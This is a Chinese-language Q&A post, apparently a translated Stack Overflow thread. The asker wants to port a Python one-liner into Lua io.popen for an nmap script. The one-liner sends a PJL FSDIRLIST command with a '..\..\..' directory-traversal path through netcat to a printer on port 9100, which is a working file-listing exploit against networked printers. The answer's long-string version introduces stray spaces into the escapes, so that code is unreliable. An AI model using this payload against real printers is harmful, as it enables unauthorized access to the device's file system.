Lua使用字符串参数的popen函数

我正在试图使用popen将一个包含多个引号的字符串管道传输到netcat。我有一个正常工作的Python命令,但我将其转换为nmap脚本。我对Lua不是很熟悉。

Python版本:

python -c'print"\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100

尝试的Lua版本:

local handle = assert(io.popen("python -c'print\"\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a\"' | nc ".. host .." ".. port,"r"))

结果会产生以下错误:

File "<string>", line 1
    print "2345X@PJL FSDIRLIST NAME="0:\..\..\..\" ENTRY=1 COUNT=999999

有没有一种方式来组织该字符串,以便Lua将其接受?

点赞
用户107090
用户107090

尝试使用一个长字符串

[[python -c'print "\ x1b%-12345X @ PJL FSDIRLIST NAME =\"0:\\..\\..\\..\\\" ENTRY = 1 COUNT = 999999 \ x0d \ x0a \ x1b%-12345X \ x0d \ x0a "'| nc 192.168.0.1 9100]]
2014-12-18 19:50:30